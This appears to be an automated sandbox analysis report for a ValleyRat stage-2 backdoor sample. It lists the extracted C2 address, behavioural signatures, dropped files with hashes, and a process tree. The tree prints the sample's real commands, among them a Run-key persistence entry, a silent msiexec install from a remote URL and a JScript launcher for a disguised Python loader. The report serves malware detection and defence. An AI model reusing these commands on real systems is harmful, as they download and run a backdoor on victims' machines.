Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    01/12/2026, 12:16

General

  • Target
    43yyy.cmd
  • Size 789B
  • Sample261201-pfx1vsbt6j
  • SHA256 fdb14f706182d5c27bf1538f8ea95ef92b284e8795aa62b51e5cb28a8dbe6bdb
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • valleyrat_s2

Version
  • 1.0

C2
  • lai.windows.nexus:2345

Attributes
  • campaign_date

    2026.11. 4

Extracted

Family
  • valleyrat_s2

C2
  • lai.windows.nexus:2345

Signatures

  • Family: ValleyRat

    ValleyRat stage2 is a backdoor written in C++.

  • Detects ValleyRAT payload 4 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Use of msiexec (install) with remote resource 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 13 IoCs
  • Enumerates video capture drivers 2 TTPs 1 IoCs

    Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\43yyy.cmd"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4324
    • C:\Windows\system32\reg.exe
      reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "Python Update2" /t REG_SZ /d "C:\python\3.77\pythonw.lnk" /f
      2⤵
      • Adds Run key to start application
      PID:3336
    • C:\Windows\system32\msiexec.exe
      msiexec /q /i
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3688
    • C:\Windows\system32\msiexec.exe
      msiexec /q /i https://yyy-1511021583.cos.ap-guangzhou.myqcloud.com/yyy.y /qn
      2⤵
      • Use of msiexec (install) with remote resource
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5488
    • C:\Windows\system32\wscript.exe
      wscript.exe //E:JScript C:\python\3.77\1.txt
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2928
      • C:\python\3.77\pythonw.exe
        "C:\python\3.77\pythonw.exe" ctypes52.png
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Enumerates connected drives
        • Enumerates video capture drivers
        • Reads the TCP/IP host and domain name from the registry
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:4144
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5544
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding BCD561908F3FCAE37B1AB6DCB26618CC
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      PID:3920

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e598cc7.rbs

        • Path C:\Config.Msi\e598cc7.rbs
        • Size 9KB
        • SHA256 9638c2c29f1bbb108ec09c31b04325e5e8a9d20732fc376e034809de97e01ea0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI8013.tmp

        • Path C:\Windows\Installer\MSI8013.tmp
        • Size 5.1MB
        • SHA256 091cae6bb35e4e8fab8cce04e61abd3047f80f2993ffdbd186fa4519d5d411ef
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI88FD.tmp

        • Path C:\Windows\Installer\MSI88FD.tmp
        • Size 1005KB
        • SHA256 7b3a4e3e3f58fa49164d49b14bc10c13a9d734846956c8a7a433c8bb6c82d983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        1.txt

        • Path C:\python\3.77\1.txt
        • Size 92B
        • SHA256 60406aea92b3cf24879c0233988fa4195eab1169f6b3056d4c3ae0103c6bf46b
        • MD5 SHA1 SHA512 TLSH

        VCRUNTIME140.dll

        • Path C:\python\3.77\VCRUNTIME140.dll
        • Size 78KB
        • SHA256 9d02e952396bdff3abfe5654e07b7a713c84268a225e11ed9a3bf338ed1e424c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        _ctypes.pyd

        • Path C:\python\3.77\_ctypes.pyd
        • Size 105KB
        • SHA256 a62bc69405cff3c403ce8a5ee731fb05091e10dc44baa29c503e91fd76ad6d62
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ctypes52.png

        • Path C:\python\3.77\ctypes52.png
        • Size 12KB
        • SHA256 3b852f8d4a3a943a1d8d2d5944c7981e82d773fe44b5a94b4145ac01c798f15e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python3.dll

        • Path C:\python\3.77\python3.dll
        • Size 57KB
        • SHA256 b012722f13bf465f4b9f0161ec88ce87c24f96f534419dff54227e6689e7ca00
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python37.dll

        • Path C:\python\3.77\python37.dll
        • Size 3.4MB
        • SHA256 cc584d3017b073a5d589225eea03f159f52cd285e5a8070f6e3cc25a4e0ac163
        • MD5 SHA1 SHA512 SSDEEP TLSH

        python37.zip

        • Path C:\python\3.77\python37.zip
        • Size 2.3MB
        • SHA256 3ab41592fd8db0d3a2c228b95ee1c051305b37b5100a2cf6f214d7ce7f5f162c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pythonw.exe

        • Path C:\python\3.77\pythonw.exe
        • Size 93KB
        • SHA256 d4a35d430f6db9c6ae512fd59d320208f861c0d81f10a475ea67bee775b3378d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        pythonw.lnk

        • Path C:\python\3.77\pythonw.lnk
        • Size 720B
        • SHA256 dfb1d194a71e191148e8ce44a6e350514b32ab3bea8f01c90e98798b45fc8ee7
        • MD5 SHA1 SHA512 TLSH

        memory/4144-65-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

        memory/4144-64-0x0000000003870000-0x0000000003871000-memory.dmp

        memory/4144-66-0x0000000003E50000-0x0000000003E72000-memory.dmp

        memory/4144-67-0x0000000003E50000-0x0000000003E72000-memory.dmp

        memory/4144-68-0x0000000003E50000-0x0000000003E72000-memory.dmp

        memory/4144-69-0x0000000003E50000-0x0000000003E72000-memory.dmp

        memory/4144-70-0x0000000004BA0000-0x0000000004BD8000-memory.dmp

        memory/4144-71-0x0000000004BA0000-0x0000000004BD8000-memory.dmp

        memory/4144-73-0x0000000004BA0000-0x0000000004BD8000-memory.dmp

        memory/4144-72-0x0000000004BA0000-0x0000000004BD8000-memory.dmp

        memory/4144-75-0x0000000003E50000-0x0000000003E72000-memory.dmp